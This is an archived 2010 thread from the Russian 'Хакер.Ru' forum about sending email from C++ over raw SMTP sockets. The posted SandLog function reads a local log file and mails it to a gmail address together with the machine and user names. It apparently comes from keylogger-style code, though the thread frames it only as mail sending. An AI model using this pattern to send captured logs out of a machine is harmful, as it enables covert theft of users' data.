Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Как отправить что нибудь на email (C++)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Как отправить что нибудь на email (C++)
Имя
Сообщение << Старые топики   Новые топики >>
Как отправить что нибудь на email (C++) - 2010-08-08 17:55:06.533333   
nisedeath

Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
Пробывал гуглить , что то безуспешно = (
C++
Без формы(без VCL(MFC))
Post #: 1
RE: Как отправить что нибудь на email (C++) - 2010-08-08 18:46:53.880000   
Selofan

Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
http://www.google.ru/search?hl=uk&source=hp&q=%D0%BE%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0+%D0%BF%D0%BE%D1%87%D1%82%D1%8B+C%2B%2B&btnG=%D0%9F%D0%BE%D1%88%D1%83%D0%BA+Google&aq=f&aqi=&aql=&oq=&gs_rfai=
Post #: 2
RE: Как отправить что нибудь на email (C++) - 2010-08-08 19:45:27.400000   
stu5002

Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
void SandLog() { char UserName[49],FullName[100]; DWORD size; size=(DWORD)49; &nbsp;&nbsp;&nbsp; // инициализируем сокеты &nbsp; if (FAILED (WSAStartup (MAKEWORD( 1,1 ), &amp;ws))) ; &nbsp; // создаем сокет &nbsp; s = socket (AF_INET, SOCK_STREAM, 0); &nbsp; if (s == INVALID_SOCKET); &nbsp; // получаем адрес сервера &nbsp; d_addr = gethostbyname ("smtp.yandex.ru"); &nbsp; if (d_addr==NULL); &nbsp; // заполняем параметры адреса &nbsp; addr.sin_family = AF_INET; &nbsp; addr.sin_addr.s_addr = *((unsigned long *) d_addr-&gt;h_addr); &nbsp; addr.sin_port = htons (25); &nbsp; // устанавливаем соединение &nbsp; if (SOCKET_ERROR == (connect (s, (sockaddr *) &amp;addr, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sizeof (addr)))) ; &nbsp; // приветствуем сервер &nbsp; strcpy(text,"EHLO smtp.yandex.ru\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp; &nbsp; strcpy(text,"AUTH LOGIN\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp; &nbsp; strcpy(text,"bG9nBvFt&amp;34Vy\r\n");//здесь логин в base64 кодировке &nbsp; send(s,text,strlen(text),0); &nbsp;&nbsp; &nbsp; strcpy(text,"bG9nghjHkTEy\r\n");//здесь пароль в base64 кодировке &nbsp; send(s,text,strlen(text),0); &nbsp; // начинаем отправлять конверт состоящий из полей &nbsp; // MAIL FROM: и RCPT TO: После каждого поля ждем &nbsp; // подтверждение &nbsp; // сообщаем отправителя &nbsp; strcpy(text,"MAIL FROM:&lt;logjkghk@yandex.ru&gt;\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp; // сообщаем получателя &nbsp; strcpy(text,"RCPT TO:&lt;loghjk@gmail.com&gt;\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp; // подаем команду, что готовы начать передачу письма &nbsp; strcpy(text,"DATA\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; GetComputerName(UserName,&amp;size ); &nbsp;&nbsp;&nbsp; GetUserName(FullName,&amp;size ); &nbsp;&nbsp;&nbsp; strcat(FullName,"("); &nbsp;&nbsp;&nbsp; strcat(FullName,UserName); &nbsp;&nbsp;&nbsp; strcat(FullName,")"); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; // тема письма &nbsp; strcpy(text,"SUBJECT: LogText \r\n"); &nbsp; strcat(text,FullName); &nbsp; strcat(text,"\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp; &nbsp; std::ifstream log(LogName); &nbsp; &nbsp; send(s,"Начало лога",11,0); &nbsp; send(s,"\n",2,0); &nbsp;&nbsp;&nbsp; &nbsp; while(getline(log, mass))SandMass(); &nbsp; &nbsp; send(s,"Конец лога",10,0); &nbsp; send(s,"\n",2,0); &nbsp; // говорим, что закончили &nbsp; strcpy(text,"\r\n.\r\n"); &nbsp; send(s,text,strlen(text),0); &nbsp; // прощаемся с сервером &nbsp; strcpy(text,"QUIT"); &nbsp; send(s,text,strlen(text),0); &nbsp; // закрываем сокет &nbsp; closesocket(s); }
только тебе еще надо перед этим библиотеку подключить, если честно уже не помню какую, но знаю что в VisualStudio она называется по-другому нежели в  Dev-C++, а этот код я проверял именно на нем.
Post #: 3
RE: Как отправить что нибудь на email (C++) - 2010-08-08 19:50:02.243333   
stu5002

Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
WinSocks или как то так в вижуал студио эта библиотека называется если не ошибаюсь. В Дев-С++ там как-то с либ32, не помню уже)
этот код проверялся только на яндексовской почте, потому что у каждого почтовика свои ньюанся общения с сервером. С джмейла я так и не смог письмо отправить, там толи серверу какие-то дополнительные параметры нужны, толи еще чего, не помню.
Post #: 4
RE: Как отправить что нибудь на email (C++) - 2010-08-08 22:45:54.010000   
nisedeath

Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
компилируется , но конектицо к яндексу не хочет (

int SandLog() { char UserName[49],FullName[100]; char text[255]; DWORD size; WSADATA ws; SOCKET s; size=(DWORD)49; sockaddr_in addr; // заполняем параметры адреса addr.sin_family = AF_INET; addr.sin_port = htons (25); hostent *d_addr; if (WSAStartup (MAKEWORD( 1,1 ), &ws))return 0 ; s = socket (AF_INET, SOCK_STREAM, 0); if (s == INVALID_SOCKET)return 0; d_addr = gethostbyname ("smtp.yandex.ru")==NULL ; if (d_addr==NULL)return 0; addr.sin_addr.s_addr = *((unsigned long *) d_addr-&gt;h_addr); // устанавливаем соединение if ((connect (s, (sockaddr *) &addr,sizeof (addr)))==SOCKET_ERROR) return 0; printf("1\n"); // приветствуем сервер strcpy(text,"EHLO smtp.yandex.ru\r\n"); send(s,text,strlen(text),0); strcpy(text,"AUTH LOGIN\r\n"); send(s,text,strlen(text),0); strcpy(text,"bG9nBvFt&34Vy\r\n");//здесь логин в base64 кодировке send(s,text,strlen(text),0); strcpy(text,"bG9nghjHkTEy\r\n");//здесь пароль в base64 кодировке send(s,text,strlen(text),0); // начинаем отправлять конверт состоящий из полей // MAIL FROM: и RCPT TO: После каждого поля ждем // подтверждение // сообщаем отправителя strcpy(text,"MAIL FROM:&lt;logjkghk@yandex.ru&gt;\r\n"); send(s,text,strlen(text),0); // сообщаем получателя strcpy(text,"RCPT TO:&lt;loghjk@gmail.com&gt;\r\n"); send(s,text,strlen(text),0); // подаем команду, что готовы начать передачу письма strcpy(text,"DATA\r\n"); send(s,text,strlen(text),0); GetComputerName(UserName,&size ); GetUserName(FullName,&size ); strcat(FullName,"("); strcat(FullName,UserName); strcat(FullName,")"); // тема письма strcpy(text,"SUBJECT: LogText \r\n"); strcat(text,FullName); strcat(text,"\r\n"); send(s,text,strlen(text),0); //std::ifstream log(LogName); send(s,"Начало лога",11,0); send(s,"\n",2,0); //while(getline(log, mass))SandMass(); send(s,"Конец лога",10,0); send(s,"\n",2,0); // говорим, что закончили strcpy(text,"\r\n.\r\n"); send(s,text,strlen(text),0); // прощаемся с сервером strcpy(text,"QUIT"); send(s,text,strlen(text),0); // закрываем сокет closesocket(s); return 1; }
на этом месте выходит из функции
if ((connect (s, (sockaddr *) &addr,sizeof (addr)))==SOCKET_ERROR) return 0;
Post #: 5
RE: Как отправить что нибудь на email (C++) - 2010-08-08 23:31:09.160000   
stu5002

Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
Я сам этот код если честно из нета в свое время выдрал и каждую строчку досконально не объясню)))
но сейчас кстати сам пишу отправку на почту. Вот только что компилил) Так вот у меня с яндекса тоже не отсылает, но там вылетает уже при общении с сервером.
Попробуй рамблер, ну замени в коде смтп сервер, логин, пароль естественно. И кстати логин у тебя должен быть без домена, тобишь без @rambler.ru @yandex.ru, а адресс отправителя таким же только с доменом.
Еще вот, если приконнектиться в начале кода напиши
 std::ofstream keys("c:\\otchet.txt");
в конце
keys.close();
а , после каждой функции сенд:
send(s,text,strlen(text),0);
напиши:
keys<<text;
            keys<<"\n\n";
  recv(s,text,sizeof(text),0);
            keys<<text;
            keys<<"\n\n";

И тогда у тебя все общение с сервером будет записываться в файл otchet.txt на диске С
Post #: 6
RE: Как отправить что нибудь на email (C++) - 2010-08-09 12:10:59.310000   
nisedeath

Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
откуда ты выдрал нашел : http://www.cyberguru.ru/cpp-sources/network/svyaz-s-smtp-serverom.html
к мейлу вроде конектится, но почему в коде нету авторизации ? странно…

пробывал вместо smtp.mail.ru smtp.yandex.ru smtp.rambler.ru не канает
Post #: 7
RE: Как отправить что нибудь на email (C++) - 2010-08-09 15:26:39.846666   
nisedeath

Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
на mail научился почту отправлять,спс за помощь…

Post #: 8
RE: Как отправить что нибудь на email (C++) - 2010-08-09 22:31:50.136666   
stu5002

Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
Да, точно оттуда. Авторизацию я вроде сам дописывал, в нете про СМТП команды рылся.
На рамблере тоже работает, но через раз, яндекс выкидывает таймаут после QUIT, хотя раньше я именно через яндекс отправлял.
Кстати, я так и не смог отослать письмо с аттачментом, но где то читал, что раньше файлы по почте передавались так: кодировались в Бэйс64 и как текст отправлялись. Сейчас не знаю как(
Не за что) Помог - плюсани)
Post #: 9
RE: Как отправить что нибудь на email (C++) - 2011-11-01 19:23:43.293333   
shkolote attake

Сообщений: 268
Оценки: 0
Присоединился: 2010-10-19 05:37:44.873333
так с яндкса идёт нет?а то чёт у меня с яндекса ни хера не канает…
Post #: 10
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Как отправить что нибудь на email (C++)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.